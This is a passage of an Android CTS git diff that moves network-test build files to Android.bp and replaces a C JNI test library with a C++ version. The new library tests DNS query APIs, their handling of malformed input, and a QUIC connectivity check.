-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsNetTestAppForApi23
-
-LOCAL_SDK_VERSION := 23
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/net/jni/Android.bp b/tests/tests/net/jni/Android.bp
new file mode 100644
index 0000000..baed48d
--- /dev/null
+++ b/tests/tests/net/jni/Android.bp
@@ -0,0 +1,49 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_library_shared {
+    name: "libnativedns_jni",
+
+    srcs: ["NativeDnsJni.c"],
+
+    shared_libs: [
+        "libnativehelper_compat_libc++",
+        "liblog",
+    ],
+    stl: "libc++_static",
+
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+
+}
+
+cc_library_shared {
+    name: "libnativemultinetwork_jni",
+
+    srcs: ["NativeMultinetworkJni.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-format",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+    ],
+    stl: "libc++_static",
+}
diff --git a/tests/tests/net/jni/Android.mk b/tests/tests/net/jni/Android.mk
deleted file mode 100644
index 727a44d..0000000
--- a/tests/tests/net/jni/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libnativedns_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := NativeDnsJni.c
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
-LOCAL_CXX_STL := libc++_static
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-
-include $(BUILD_SHARED_LIBRARY)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libnativemultinetwork_jni
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := NativeMultinetworkJni.c
-LOCAL_CFLAGS := -Wall -Werror -Wno-format
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog
-LOCAL_CXX_STL := libc++_static
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/net/jni/NativeMultinetworkJni.c b/tests/tests/net/jni/NativeMultinetworkJni.c
deleted file mode 100644
index 2fa5291..0000000
--- a/tests/tests/net/jni/NativeMultinetworkJni.c
+++ /dev/null
@@ -1,237 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-#define LOG_TAG "MultinetworkApiTest"
-#include <utils/Log.h>
-
-#include <arpa/inet.h>
-#include <errno.h>
-#include <inttypes.h>
-#include <jni.h>
-#include <netdb.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/socket.h>
-#include <sys/time.h>
-#include <android/multinetwork.h>
-
-#define UNUSED(X) ((void) (X))
-
-static const char kHostname[] = "connectivitycheck.android.com";
-
-
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runGetaddrinfoCheck(
-        JNIEnv* env, jclass class, jlong nethandle) {
-    UNUSED(env);
-    UNUSED(class);
-    net_handle_t handle = (net_handle_t) nethandle;
-    struct addrinfo *res = NULL;
-
-    errno = 0;
-    int rval = android_getaddrinfofornetwork(handle, kHostname, NULL, NULL, &res);
-    const int saved_errno = errno;
-    freeaddrinfo(res);
-
-    ALOGD("android_getaddrinfofornetwork(%" PRIu64 ", %s) returned rval=%d errno=%d",
-          handle, kHostname, rval, saved_errno);
-    return rval == 0 ? 0 : -saved_errno;
-}
-
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runSetprocnetwork(
-        JNIEnv* env, jclass class, jlong nethandle) {
-    UNUSED(env);
-    UNUSED(class);
-    net_handle_t handle = (net_handle_t) nethandle;
-
-    errno = 0;
-    int rval = android_setprocnetwork(handle);
-    const int saved_errno = errno;
-    ALOGD("android_setprocnetwork(%" PRIu64 ") returned rval=%d errno=%d",
-          handle, rval, saved_errno);
-    return rval == 0 ? 0 : -saved_errno;
-}
-
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runSetsocknetwork(
-        JNIEnv* env, jclass class, jlong nethandle) {
-    UNUSED(env);
-    UNUSED(class);
-    net_handle_t handle = (net_handle_t) nethandle;
-
-    errno = 0;
-    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
-    if (fd < 0) {
-        ALOGD("socket() failed, errno=%d", errno);
-        return -errno;
-    }
-
-    errno = 0;
-    int rval = android_setsocknetwork(handle, fd);
-    const int saved_errno = errno;
-    ALOGD("android_setprocnetwork(%" PRIu64 ", %d) returned rval=%d errno=%d",
-          handle, fd, rval, saved_errno);
-    close(fd);
-    return rval == 0 ? 0 : -saved_errno;
-}
-
-// Use sizeof("x") - 1 because we need a compile-time constant, and strlen("x")
-// isn't guaranteed to fold to a constant.
-static const int kSockaddrStrLen = INET6_ADDRSTRLEN + sizeof("[]:65535") - 1;
-
-void sockaddr_ntop(const struct sockaddr *sa, socklen_t salen, char *dst, const size_t size) {
-    char addrstr[INET6_ADDRSTRLEN];
-    char portstr[sizeof("65535")];
-    char buf[kSockaddrStrLen+1];
-
-    int ret = getnameinfo(sa, salen,
-                          addrstr, sizeof(addrstr),
-                          portstr, sizeof(portstr),
-                          NI_NUMERICHOST | NI_NUMERICSERV);
-    if (ret == 0) {
-        snprintf(buf, sizeof(buf),
-                 (sa->sa_family == AF_INET6) ? "[%s]:%s" : "%s:%s",
-                 addrstr, portstr);
-    } else {
-        sprintf(buf, "???");
-    }
-
-    strlcpy(dst, buf, size);
-}
-
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runDatagramCheck(
-        JNIEnv* env, jclass class, jlong nethandle) {
-    UNUSED(env);
-    UNUSED(class);
-    const struct addrinfo kHints = {
-        .ai_flags = AI_ADDRCONFIG,
-        .ai_family = AF_UNSPEC,
-        .ai_socktype = SOCK_DGRAM,
-        .ai_protocol = IPPROTO_UDP,
-    };
-    struct addrinfo *res = NULL;
-    net_handle_t handle = (net_handle_t) nethandle;
-
-    static const char kPort[] = "443";
-    int rval = android_getaddrinfofornetwork(handle, kHostname, kPort, &kHints, &res);
-    if (rval != 0) {
-        ALOGD("android_getaddrinfofornetwork(%llu, %s) returned rval=%d errno=%d",
-              handle, kHostname, rval, errno);
-        freeaddrinfo(res);
-        return -errno;
-    }
-
-    // Rely upon getaddrinfo sorting the best destination to the front.
-    int fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
-    if (fd < 0) {
-        ALOGD("socket(%d, %d, %d) failed, errno=%d",
-              res->ai_family, res->ai_socktype, res->ai_protocol, errno);
-        freeaddrinfo(res);
-        return -errno;
-    }
-
-    rval = android_setsocknetwork(handle, fd);
-    ALOGD("android_setprocnetwork(%llu, %d) returned rval=%d errno=%d",
-          handle, fd, rval, errno);
-    if (rval != 0) {
-        close(fd);
-        freeaddrinfo(res);
-        return -errno;
-    }
-
-    char addrstr[kSockaddrStrLen+1];
-    sockaddr_ntop(res->ai_addr, res->ai_addrlen, addrstr, sizeof(addrstr));
-    ALOGD("Attempting connect() to %s ...", addrstr);
-
-    rval = connect(fd, res->ai_addr, res->ai_addrlen);
-    if (rval != 0) {
-        close(fd);
-        freeaddrinfo(res);
-        return -errno;
-    }
-    freeaddrinfo(res);
-
-    struct sockaddr_storage src_addr;
-    socklen_t src_addrlen = sizeof(src_addr);
-    if (getsockname(fd, (struct sockaddr *)&src_addr, &src_addrlen) != 0) {
-        close(fd);
-        return -errno;
-    }
-    sockaddr_ntop((const struct sockaddr *)&src_addr, sizeof(src_addr), addrstr, sizeof(addrstr));
-    ALOGD("... from %s", addrstr);
-
-    // Don't let reads or writes block indefinitely.
-    const struct timeval timeo = { 2, 0 };  // 2 seconds
-    setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeo, sizeof(timeo));
-    setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &timeo, sizeof(timeo));
-
-    // For reference see:
-    //     https://tools.ietf.org/html/draft-tsvwg-quic-protocol-01#section-6.1
-    uint8_t quic_packet[] = {
-        0x0c,                    // public flags: 64bit conn ID, 8bit sequence number
-        0, 0, 0, 0, 0, 0, 0, 0,  // 64bit connection ID
-        0x01,                    // sequence number
-        0x00,                    // private flags
-        0x07,                    // type: regular frame type "PING"
-    };
-
-    arc4random_buf(quic_packet + 1, 8);  // random connection ID
-
-    uint8_t response[1500];
-    ssize_t sent, rcvd;
-    static const int MAX_RETRIES = 5;
-    int i, errnum = 0;
-
-    for (i = 0; i < MAX_RETRIES; i++) {
-        sent = send(fd, quic_packet, sizeof(quic_packet), 0);
-        if (sent < (ssize_t)sizeof(quic_packet)) {
-            errnum = errno;
-            ALOGD("send(QUIC packet) returned sent=%zd, errno=%d", sent, errnum);
-            close(fd);
-            return -errnum;
-        }
-
-        rcvd = recv(fd, response, sizeof(response), 0);
-        if (rcvd > 0) {
-            break;
-        } else {
-            errnum = errno;
-            ALOGD("[%d/%d] recv(QUIC response) returned rcvd=%zd, errno=%d",
-                  i + 1, MAX_RETRIES, rcvd, errnum);
-        }
-    }
-    if (rcvd < sent) {
-        ALOGD("QUIC UDP %s: sent=%zd but rcvd=%zd, errno=%d", kPort, sent, rcvd, errnum);
-        if (rcvd <= 0) {
-            ALOGD("Does this network block UDP port %s?", kPort);
-        }
-        close(fd);
-        return -EPROTO;
-    }
-
-    int conn_id_cmp = memcmp(quic_packet + 1, response + 1, 8);
-    if (conn_id_cmp != 0) {
-        ALOGD("sent and received connection IDs do not match");
-        close(fd);
-        return -EPROTO;
-    }
-
-    // TODO: log, and compare to the IP address encoded in the
-    // response, since this should be a public reset packet.
-
-    close(fd);
-    return 0;
-}
diff --git a/tests/tests/net/jni/NativeMultinetworkJni.cpp b/tests/tests/net/jni/NativeMultinetworkJni.cpp
new file mode 100644
index 0000000..5bd3013
--- /dev/null
+++ b/tests/tests/net/jni/NativeMultinetworkJni.cpp
@@ -0,0 +1,516 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+#define LOG_TAG "MultinetworkApiTest"
+#include <utils/Log.h>
+
+#include <arpa/inet.h>
+#include <arpa/nameser.h>
+#include <errno.h>
+#include <inttypes.h>
+#include <jni.h>
+#include <netdb.h>
+#include <poll.h> /* poll */
+#include <resolv.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/time.h>
+
+#include <string>
+
+#include <android/multinetwork.h>
+#include <nativehelper/JNIHelp.h>
+
+#define EXPECT_GE(env, actual, expected, msg)                        \
+    do {                                                             \
+        if (actual < expected) {                                     \
+            jniThrowExceptionFmt(env, "java/lang/AssertionError",    \
+                    "%s:%d: %s EXPECT_GE: expected %d, got %d",      \
+                    __FILE__, __LINE__, msg, expected, actual);      \
+        }                                                            \
+    } while (0)
+
+#define EXPECT_GT(env, actual, expected, msg)                        \
+    do {                                                             \
+        if (actual <= expected) {                                    \
+            jniThrowExceptionFmt(env, "java/lang/AssertionError",    \
+                    "%s:%d: %s EXPECT_GT: expected %d, got %d",      \
+                    __FILE__, __LINE__, msg, expected, actual);      \
+        }                                                            \
+    } while (0)
+
+#define EXPECT_EQ(env, expected, actual, msg)                        \
+    do {                                                             \
+        if (actual != expected) {                                    \
+            jniThrowExceptionFmt(env, "java/lang/AssertionError",    \
+                    "%s:%d: %s EXPECT_EQ: expected %d, got %d",      \
+                    __FILE__, __LINE__, msg, expected, actual);      \
+        }                                                            \
+    } while (0)
+
+static const int MAXPACKET = 8 * 1024;
+static const int TIMEOUT_MS = 15000;
+static const char kHostname[] = "connectivitycheck.android.com";
+static const char kNxDomainName[] = "test1-nx.metric.gstatic.com";
+static const char kGoogleName[] = "www.google.com";
+
+int makeQuery(const char* name, int qtype, uint8_t* buf, size_t buflen) {
+    return res_mkquery(ns_o_query, name, ns_c_in, qtype, NULL, 0, NULL, buf, buflen);
+}
+
+int getAsyncResponse(JNIEnv* env, int fd, int timeoutMs, int* rcode, uint8_t* buf, size_t bufLen) {
+    struct pollfd wait_fd = { .fd = fd, .events = POLLIN };
+
+    poll(&wait_fd, 1, timeoutMs);
+    if (wait_fd.revents & POLLIN) {
+        int n = android_res_nresult(fd, rcode, buf, bufLen);
+        // Verify that android_res_nresult() closed the fd
+        char dummy;
+        EXPECT_EQ(env, -1, read(fd, &dummy, sizeof(dummy)), "res_nresult check for closing fd");
+        EXPECT_EQ(env, EBADF, errno, "res_nresult check for errno");
+        return n;
+    }
+
+    return -ETIMEDOUT;
+}
+
+int extractIpAddressAnswers(uint8_t* buf, size_t bufLen, int family) {
+    ns_msg handle;
+    if (ns_initparse((const uint8_t*) buf, bufLen, &handle) < 0) {
+        return -errno;
+    }
+    const int ancount = ns_msg_count(handle, ns_s_an);
+    // Answer count = 0 is valid(e.g. response of query with root)
+    if (!ancount) {
+        return 0;
+    }
+    ns_rr rr;
+    bool hasValidAns = false;
+    for (int i = 0; i < ancount; i++) {
+        if (ns_parserr(&handle, ns_s_an, i, &rr) < 0) {
+            // If there is no valid answer, test will fail.
+            continue;
+        }
+        const uint8_t* rdata = ns_rr_rdata(rr);
+        char buffer[INET6_ADDRSTRLEN];
+        if (inet_ntop(family, (const char*) rdata, buffer, sizeof(buffer)) == NULL) {
+            return -errno;
+        }
+        hasValidAns = true;
+    }
+    return hasValidAns ? 0 : -EBADMSG;
+}
+
+int expectAnswersValid(JNIEnv* env, int fd, int family, int expectedRcode) {
+    int rcode = -1;
+    uint8_t buf[MAXPACKET] = {};
+    int res = getAsyncResponse(env, fd, TIMEOUT_MS, &rcode, buf, MAXPACKET);
+    if (res < 0) {
+        return res;
+    }
+
+    EXPECT_EQ(env, expectedRcode, rcode, "rcode is not expected");
+
+    if (expectedRcode == ns_r_noerror && res > 0) {
+        return extractIpAddressAnswers(buf, res, family);
+    }
+    return 0;
+}
+
+int expectAnswersNotValid(JNIEnv* env, int fd, int expectedErrno) {
+    int rcode = -1;
+    uint8_t buf[MAXPACKET] = {};
+    int res = getAsyncResponse(env, fd, TIMEOUT_MS, &rcode, buf, MAXPACKET);
+    if (res != expectedErrno) {
+        ALOGD("res:%d, expectedErrno = %d", res, expectedErrno);
+        return (res > 0) ? -EREMOTEIO : res;
+    }
+    return 0;
+}
+
+extern "C"
+JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNqueryCheck(
+        JNIEnv* env, jclass, jlong nethandle) {
+    net_handle_t handle = (net_handle_t) nethandle;
+
+    // V4
+    int fd = android_res_nquery(handle, kHostname, ns_c_in, ns_t_a, 0);
+    EXPECT_GE(env, fd, 0, "v4 res_nquery");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_noerror),
+            "v4 res_nquery check answers");
+
+    // V4 NXDOMAIN
+    fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_a, 0);
+    EXPECT_GE(env, fd, 0, "v4 res_nquery NXDOMAIN");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
+            "v4 res_nquery NXDOMAIN check answers");
+
+    // V6
+    fd = android_res_nquery(handle, kHostname, ns_c_in, ns_t_aaaa, 0);
+    EXPECT_GE(env, fd, 0, "v6 res_nquery");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_noerror),
+            "v6 res_nquery check answers");
+
+    // V6 NXDOMAIN
+    fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_aaaa, 0);
+    EXPECT_GE(env, fd, 0, "v6 res_nquery NXDOMAIN");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
+            "v6 res_nquery NXDOMAIN check answers");
+
+    return 0;
+}
+
+extern "C"
+JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNsendCheck(
+        JNIEnv* env, jclass, jlong nethandle) {
+    net_handle_t handle = (net_handle_t) nethandle;
+    // V4
+    uint8_t buf1[MAXPACKET] = {};
+
+    int len1 = makeQuery(kGoogleName, ns_t_a, buf1, sizeof(buf1));
+    EXPECT_GT(env, len1, 0, "v4 res_mkquery 1st");
+
+    uint8_t buf2[MAXPACKET] = {};
+    int len2 = makeQuery(kHostname, ns_t_a, buf2, sizeof(buf2));
+    EXPECT_GT(env, len2, 0, "v4 res_mkquery 2nd");
+
+    int fd1 = android_res_nsend(handle, buf1, len1, 0);
+    EXPECT_GE(env, fd1, 0, "v4 res_nsend 1st");
+    int fd2 = android_res_nsend(handle, buf2, len2, 0);
+    EXPECT_GE(env, fd2, 0, "v4 res_nsend 2nd");
+
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd2, AF_INET, ns_r_noerror),
+            "v4 res_nsend 2nd check answers");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET, ns_r_noerror),
+            "v4 res_nsend 1st check answers");
+
+    // V4 NXDOMAIN
+    memset(buf1, 0, sizeof(buf1));
+    len1 = makeQuery(kNxDomainName, ns_t_a, buf1, sizeof(buf1));
+    EXPECT_GT(env, len1, 0, "v4 res_mkquery NXDOMAIN");
+    fd1 = android_res_nsend(handle, buf1, len1, 0);
+    EXPECT_GE(env, fd1, 0, "v4 res_nsend NXDOMAIN");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET, ns_r_nxdomain),
+            "v4 res_nsend NXDOMAIN check answers");
+
+    // V6
+    memset(buf1, 0, sizeof(buf1));
+    memset(buf2, 0, sizeof(buf2));
+    len1 = makeQuery(kGoogleName, ns_t_aaaa, buf1, sizeof(buf1));
+    EXPECT_GT(env, len1, 0, "v6 res_mkquery 1st");
+    len2 = makeQuery(kHostname, ns_t_aaaa, buf2, sizeof(buf2));
+    EXPECT_GT(env, len2, 0, "v6 res_mkquery 2nd");
+
+    fd1 = android_res_nsend(handle, buf1, len1, 0);
+    EXPECT_GE(env, fd1, 0, "v6 res_nsend 1st");
+    fd2 = android_res_nsend(handle, buf2, len2, 0);
+    EXPECT_GE(env, fd2, 0, "v6 res_nsend 2nd");
+
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd2, AF_INET6, ns_r_noerror),
+            "v6 res_nsend 2nd check answers");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET6, ns_r_noerror),
+            "v6 res_nsend 1st check answers");
+
+    // V6 NXDOMAIN
+    memset(buf1, 0, sizeof(buf1));
+    len1 = makeQuery(kNxDomainName, ns_t_aaaa, buf1, sizeof(buf1));
+    EXPECT_GT(env, len1, 0, "v6 res_mkquery NXDOMAIN");
+    fd1 = android_res_nsend(handle, buf1, len1, 0);
+    EXPECT_GE(env, fd1, 0, "v6 res_nsend NXDOMAIN");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET6, ns_r_nxdomain),
+            "v6 res_nsend NXDOMAIN check answers");
+
+    return 0;
+}
+
+extern "C"
+JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNcancelCheck(
+        JNIEnv* env, jclass, jlong nethandle) {
+    net_handle_t handle = (net_handle_t) nethandle;
+
+    int fd = android_res_nquery(handle, kGoogleName, ns_c_in, ns_t_a, 0);
+    errno = 0;
+    android_res_cancel(fd);
+    int err = errno;
+    EXPECT_EQ(env, 0, err, "res_cancel");
+    // DO NOT call cancel or result with the same fd more than once,
+    // otherwise it will hit fdsan double-close fd.
+    return 0;
+}
+
+extern "C"
+JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNapiMalformedCheck(
+        JNIEnv* env, jclass, jlong nethandle) {
+    net_handle_t handle = (net_handle_t) nethandle;
+
+    // It is the equivalent of "dig . a", Query with an empty name.
+    int fd = android_res_nquery(handle, "", ns_c_in, ns_t_a, 0);
+    EXPECT_GE(env, fd, 0, "res_nquery root");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_noerror),
+            "res_nquery root check answers");
+
+    // Label limit 63
+    std::string exceedingLabelQuery = "www." + std::string(70, 'g') + ".com";
+    // Name limit 255
+    std::string exceedingDomainQuery = "www." + std::string(255, 'g') + ".com";
+
+    fd = android_res_nquery(handle, exceedingLabelQuery.c_str(), ns_c_in, ns_t_a, 0);
+    EXPECT_EQ(env, -EMSGSIZE, fd, "res_nquery exceedingLabelQuery");
+    fd = android_res_nquery(handle, exceedingDomainQuery.c_str(), ns_c_in, ns_t_aaaa, 0);
+    EXPECT_EQ(env, -EMSGSIZE, fd, "res_nquery exceedingDomainQuery");
+
+    uint8_t buf[10] = {};
+    // empty BLOB
+    fd = android_res_nsend(handle, buf, 10, 0);
+    EXPECT_GE(env, fd, 0, "res_nsend empty BLOB");
+    EXPECT_EQ(env, 0, expectAnswersNotValid(env, fd, -EINVAL),
+            "res_nsend empty BLOB check answers");
+
+    uint8_t largeBuf[2 * MAXPACKET] = {};
+    // A buffer larger than 8KB
+    fd = android_res_nsend(handle, largeBuf, sizeof(largeBuf), 0);
+    EXPECT_EQ(env, -EMSGSIZE, fd, "res_nsend buffer larger than 8KB");
+
+    // 5000 bytes filled with 0. This returns EMSGSIZE because FrameworkListener limits the size of
+    // commands to 4096 bytes.
+    fd = android_res_nsend(handle, largeBuf, 5000, 0);
+    EXPECT_EQ(env, -EMSGSIZE, fd, "res_nsend 5000 bytes filled with 0");
+
+    // 500 bytes filled with 0
+    fd = android_res_nsend(handle, largeBuf, 500, 0);
+    EXPECT_GE(env, fd, 0, "res_nsend 500 bytes filled with 0");
+    EXPECT_EQ(env, 0, expectAnswersNotValid(env, fd, -EINVAL),
+            "res_nsend 500 bytes filled with 0 check answers");
+
+    // 5000 bytes filled with 0xFF
+    uint8_t ffBuf[5001] = {};
+    memset(ffBuf, 0xFF, sizeof(ffBuf));
+    ffBuf[5000] = '\0';
+    fd = android_res_nsend(handle, ffBuf, sizeof(ffBuf), 0);
+    EXPECT_EQ(env, -EMSGSIZE, fd, "res_nsend 5000 bytes filled with 0xFF");
+
+    // 500 bytes filled with 0xFF
+    ffBuf[500] = '\0';
+    fd = android_res_nsend(handle, ffBuf, 501, 0);
+    EXPECT_GE(env, fd, 0, "res_nsend 500 bytes filled with 0xFF");
+    EXPECT_EQ(env, 0, expectAnswersNotValid(env, fd, -EINVAL),
+            "res_nsend 500 bytes filled with 0xFF check answers");
+
+    return 0;
+}
+
+extern "C"
+JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runGetaddrinfoCheck(
+        JNIEnv*, jclass, jlong nethandle) {
+    net_handle_t handle = (net_handle_t) nethandle;
+    struct addrinfo *res = NULL;
+
+    errno = 0;
+    int rval = android_getaddrinfofornetwork(handle, kHostname, NULL, NULL, &res);
+    const int saved_errno = errno;
+    freeaddrinfo(res);
+
+    ALOGD("android_getaddrinfofornetwork(%" PRIu64 ", %s) returned rval=%d errno=%d",
+          handle, kHostname, rval, saved_errno);
+    return rval == 0 ? 0 : -saved_errno;
+}
+
+extern "C"
+JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runSetprocnetwork(
+        JNIEnv*, jclass, jlong nethandle) {
+    net_handle_t handle = (net_handle_t) nethandle;
+
+    errno = 0;
+    int rval = android_setprocnetwork(handle);
+    const int saved_errno = errno;
+    ALOGD("android_setprocnetwork(%" PRIu64 ") returned rval=%d errno=%d",
+          handle, rval, saved_errno);
+    return rval == 0 ? 0 : -saved_errno;
+}
+
+extern "C"
+JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runSetsocknetwork(
+        JNIEnv*, jclass, jlong nethandle) {
+    net_handle_t handle = (net_handle_t) nethandle;
+
+    errno = 0;
+    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
+    if (fd < 0) {
+        ALOGD("socket() failed, errno=%d", errno);
+        return -errno;
+    }
+
+    errno = 0;
+    int rval = android_setsocknetwork(handle, fd);
+    const int saved_errno = errno;
+    ALOGD("android_setprocnetwork(%" PRIu64 ", %d) returned rval=%d errno=%d",
+          handle, fd, rval, saved_errno);
+    close(fd);
+    return rval == 0 ? 0 : -saved_errno;
+}
+
+// Use sizeof("x") - 1 because we need a compile-time constant, and strlen("x")
+// isn't guaranteed to fold to a constant.
+static const int kSockaddrStrLen = INET6_ADDRSTRLEN + sizeof("[]:65535") - 1;
+
+void sockaddr_ntop(const struct sockaddr *sa, socklen_t salen, char *dst, const size_t size) {
+    char addrstr[INET6_ADDRSTRLEN];
+    char portstr[sizeof("65535")];
+    char buf[kSockaddrStrLen+1];
+
+    int ret = getnameinfo(sa, salen,
+                          addrstr, sizeof(addrstr),
+                          portstr, sizeof(portstr),
+                          NI_NUMERICHOST | NI_NUMERICSERV);
+    if (ret == 0) {
+        snprintf(buf, sizeof(buf),
+                 (sa->sa_family == AF_INET6) ? "[%s]:%s" : "%s:%s",
+                 addrstr, portstr);
+    } else {
+        sprintf(buf, "???");
+    }
+
+    strlcpy(dst, buf, size);
+}
+
+extern "C"
+JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runDatagramCheck(
+        JNIEnv*, jclass, jlong nethandle) {
+    const struct addrinfo kHints = {
+        .ai_flags = AI_ADDRCONFIG,
+        .ai_family = AF_UNSPEC,
+        .ai_socktype = SOCK_DGRAM,
+        .ai_protocol = IPPROTO_UDP,
+    };
+    struct addrinfo *res = NULL;
+    net_handle_t handle = (net_handle_t) nethandle;
+
+    static const char kPort[] = "443";
+    int rval = android_getaddrinfofornetwork(handle, kHostname, kPort, &kHints, &res);
+    if (rval != 0) {
+        ALOGD("android_getaddrinfofornetwork(%llu, %s) returned rval=%d errno=%d",
+              handle, kHostname, rval, errno);
+        freeaddrinfo(res);
+        return -errno;
+    }
+
+    // Rely upon getaddrinfo sorting the best destination to the front.
+    int fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
+    if (fd < 0) {
+        ALOGD("socket(%d, %d, %d) failed, errno=%d",
+              res->ai_family, res->ai_socktype, res->ai_protocol, errno);
+        freeaddrinfo(res);
+        return -errno;
+    }
+
+    rval = android_setsocknetwork(handle, fd);
+    ALOGD("android_setprocnetwork(%llu, %d) returned rval=%d errno=%d",
+          handle, fd, rval, errno);
+    if (rval != 0) {
+        close(fd);
+        freeaddrinfo(res);
+        return -errno;
+    }
+
+    char addrstr[kSockaddrStrLen+1];
+    sockaddr_ntop(res->ai_addr, res->ai_addrlen, addrstr, sizeof(addrstr));
+    ALOGD("Attempting connect() to %s ...", addrstr);
+
+    rval = connect(fd, res->ai_addr, res->ai_addrlen);
+    if (rval != 0) {
+        close(fd);
+        freeaddrinfo(res);
+        return -errno;
+    }
+    freeaddrinfo(res);
+
+    struct sockaddr_storage src_addr;
+    socklen_t src_addrlen = sizeof(src_addr);
+    if (getsockname(fd, (struct sockaddr *)&src_addr, &src_addrlen) != 0) {
+        close(fd);
+        return -errno;
+    }
+    sockaddr_ntop((const struct sockaddr *)&src_addr, sizeof(src_addr), addrstr, sizeof(addrstr));
+    ALOGD("... from %s", addrstr);
+
+    // Don't let reads or writes block indefinitely.
+    const struct timeval timeo = { 2, 0 };  // 2 seconds
+    setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeo, sizeof(timeo));
+    setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &timeo, sizeof(timeo));
+
+    // For reference see:
+    //     https://tools.ietf.org/html/draft-tsvwg-quic-protocol#section-6.1
+    uint8_t quic_packet[1200] = {
+        0x0d,                    // public flags:
+                                 //   - version present (0x01),
+                                 //   - 64bit connection ID (0x0c),
